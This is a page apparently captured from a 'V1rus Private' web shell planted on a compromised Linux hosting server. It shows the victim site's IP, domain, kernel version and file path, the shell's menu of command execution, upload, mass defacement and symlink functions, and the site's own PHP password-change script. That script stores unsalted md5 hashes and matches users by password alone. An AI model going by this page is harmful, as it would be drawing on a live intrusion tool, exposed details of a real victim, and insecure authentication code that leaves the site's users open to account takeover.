V1rus Private
User / IP
:
216.73.217.26
Host / Server
:
103.138.189.202 / chaitanyalaw.com
System
:
Linux s1325.sgp1.mysecurecloudhost.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
chaitany
/
public_html
/
CMS
/
Viewing: changepass.php
<?php include("layouts/header.php"); // var_dump($_SESSION['oldnotmatch']); if (isset($_POST['submit'])) { $old_pass = md5(mysqli_real_escape_string($conn, $_POST['opass'])); $new_pass = md5(mysqli_real_escape_string($conn, $_POST['newpass'])); $con_pass = md5(mysqli_real_escape_string($conn, $_POST['cpass'])); $sql = "SELECT * FROM user where pass='$old_pass'"; $res = mysqli_query($conn, $sql); if (mysqli_num_rows($res) > 0) { if ($new_pass == $con_pass) { $usql = "UPDATE user SET pass='$new_pass' WHERE pass='$old_pass'"; $result = mysqli_query($conn, $usql); if ($result) { unset($_SESSION['uname']); header("location:index.php"); } } else { $_SESSION['oldnotmatch'] = "New Password and confirm Password does not match"; } } else { $_SESSION['oldnotmatch'] = "Old Password does not match "; } } ?> <?php if (isset($_SESSION['oldnotmatch'])) { echo '<script> swal({ title: "' . $_SESSION['oldnotmatch'] . '", icon: "error", timer: 1000 }); </script>'; unset($_SESSION['oldnotmatch']); echo "<script> setTimeout(() => { location.href = 'http://localhost/chaitanya/cms/changepass.php'; }, 1000); </script>"; } ?> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous" /> <section class="wrapper"> <div class="container-fluid "> <div class="col-sm-8 offset-sm-2 col-lg-6 offset-lg-3 col-xl-4 offset-xl-4 text-dark rounded text-center " style="margin-top:100px"> <form class="rounded bg-white shadow p-5" method="post" action=""> <div class="alert alert-danger alert-dismissible fade show text-center pb-5" style="" role="alert"> <strong> At least 12 characters long <br> Has a combination of upper and lowercase letters, numbers, and special symbols </strong> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <h3 class=" fw-bolder fs-4 mb-2 text-success">Setup New Password</h5> <div class="input-group mt-5 mb-3"> <!-- lock icon --> <span class="input-group-text" id="basic-addon1"><i class="fas fa-lock"></i></span> <!-- password input type don't change the id --> <input name="opass" type="password" value="" class="form-control form-control-lg" id="password" placeholder="Old Password" required="true" aria-label="password" aria-describedby="basic-addon1" /> <!-- showhideIcon --> <span class="input-group-text" id="basic-addon1" onclick="password_show_hide();"> <i class="fas fa-eye" id="show_eye"></i> <i class="fas fa-eye-slash d-none" id="hide_eye"></i> </span> </div> <div class="input-group mb-3"> <span class="input-group-text" id="basic-addon2"><i class="fas fa-lock"></i></span> <input name="newpass" type="password" value="" class="form-control form-control-lg" id="newpassword" placeholder="New Password" required="true" aria-label="newpassword" aria-describedby="basic-addon2" /> <span class="input-group-text" onclick="password_shownew_hide();"> <i class="fas fa-eye" id="show_neweye"></i> <i class="fas fa-eye-slash d-none" id="hide_neweye"></i> </span> </div> <div class="input-group mb-3"> <span class="input-group-text" id="basic-addon3"><i class="fas fa-lock"></i></span> <input name="cpass" type="password" value="" class="form-control form-control-lg" id="conpassword" placeholder="Confirm Password" required="true" aria-label="confirmpassword" aria-describedby="basic-addon2" /> <span class="input-group-text" onclick="password_showcon_hide();"> <i class="fas fa-eye" id="show_coneye"></i> <i class="fas fa-eye-slash d-none" id="hide_coneye"></i> </span> </div> <a href="<?php echo ADMINURL . 'notice/shownotice.php'; ?>" class="btn btn-secondary btn-lg my-4" role="button">Cancel</a> <button type="submit" class="btn btn-primary submit_btn btn-lg my-4" name="submit">Confirm</button> </form> </div> </section> </body> </html> <script> function password_show_hide() { var x = document.getElementById("password"); var show_eye = document.getElementById("show_eye"); var hide_eye = document.getElementById("hide_eye"); hide_eye.classList.remove("d-none"); if (x.type === "password") { x.type = "text"; show_eye.style.display = "none"; hide_eye.style.display = "block"; } else { x.type = "password"; show_eye.style.display = "block"; hide_eye.style.display = "none"; } } function password_shownew_hide() { var y = document.getElementById("newpassword"); var show_neweye = document.getElementById("show_neweye"); var hide_neweye = document.getElementById("hide_neweye"); hide_neweye.classList.remove("d-none"); if (y.type === "password") { y.type = "text"; show_neweye.style.display = "none"; hide_neweye.style.display = "block"; } else { y.type = "password"; show_neweye.style.display = "block"; hide_neweye.style.display = "none"; } } function password_showcon_hide() { var z = document.getElementById("conpassword"); var show_coneye = document.getElementById("show_coneye"); var hide_coneye = document.getElementById("hide_coneye"); hide_coneye.classList.remove("d-none"); if (z.type === "password") { z.type = "text"; show_coneye.style.display = "none"; hide_coneye.style.display = "block"; } else { z.type = "password"; show_coneye.style.display = "block"; hide_coneye.style.display = "none"; } } </script>
Coded With 💗 by
HanzOFC